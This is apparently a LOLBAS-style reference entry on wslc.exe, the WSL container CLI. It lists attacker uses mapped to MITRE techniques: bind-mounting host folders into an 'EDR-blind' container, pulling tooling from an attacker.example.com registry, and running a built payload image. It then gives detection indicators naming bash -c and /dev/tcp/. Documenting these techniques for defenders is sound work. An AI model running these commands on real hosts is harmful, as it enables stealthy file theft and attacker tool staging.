← cd ..OtherMSBinaries

wslc.exe

Windows Subsystem for Linux container CLI. Builds, pulls, runs, and executes commands inside Linux (OCI) containers. Ships built-in with WSL and is also shipped as container.exe, a byte-for-byte copy (identical file hash) in the same directory. At the time of writing, available in pre-release of WSL (version 2.9.3 or higher), and requires ‘wsl –update –pre-release’ to install. More information available under https://learn.microsoft.com/en-us/windows/wsl/wsl-container

Full path

C:\Program Files\WSL\wslc.exeC:\Program Files\WSL\container.exe

Commands

  1. ExecuteUser T1610

    Read, stage, or tamper with arbitrary host files from an EDR-blind container whose host-side process tree is masked by the WSL VM worker.

    wslc run --rm -it -v C:\Users:/host ubuntu:latest bash -c "{CMD}"

    Pulls (if not already present) and runs a throwaway Linux container, bind-mounts a host path (here the entire C: drive) into the container via virtiofs so the Linux payload can read, stage, or modify arbitrary host files while running outside host process visibility.

    os: Windows 11 (builds with WSL container support - public preview from 2026-06)

    Execute: CMD

  2. DownloadUser T1105

    Ingress tool transfer - stage attacker tooling on the host as an OCI image via a registry pull.

    wslc pull attacker.example.com/tooling:latest

    Pulls an arbitrary OCI image from a remote (potentially attacker-controlled) registry over the registry pull protocol.

    os: Windows 11 (builds with WSL container support - public preview from 2026-06)

  3. ExecuteUser T1612

    Build and run a container image on the host to execute baked-in payloads in an EDR-blind runtime.

    wslc build -t payload .wslc run --rm payload

    Builds a Linux image from a local Containerfile on the host and runs it.

    os: Windows 11 (builds with WSL container support - public preview from 2026-06)

    Execute: CMD

Detection

  • IOCwslc.exe (or its container.exe alias) process creation invoking the run, exec, build, or pull subcommands
  • IOCwslc.exe command line containing `-v`/`--volume` mapping a Windows path into a container
  • IOCwslc.exe command line containing `bash -c`, `sh -c`, or `/dev/tcp/` - arbitrary shell execution / fileless download inside the container
  • IOCwslc.exe with the pull subcommand referencing an unexpected or unknown container registry (anything other than an approved internal registry)
  • IOCpresence of `Vmmemwslc-cli-<username>` (or `Vmmemwslc-cli-admin-<username>` for an elevated session) process
  • IOCminimal or absent child-process telemetry under wslc.exe despite a `run`/`exec` subcommand
  • IOChost-side file-creation events on paths corresponding to a `-v` bind-mounted folder
  • IOCoutbound network connections to container registries (docker.io, ghcr.io, lscr.io, quay.io, or unknown hosts) originating from the wslc networking stack

Resources

acknowledgement: Konrad 'unrooted' Klawikowski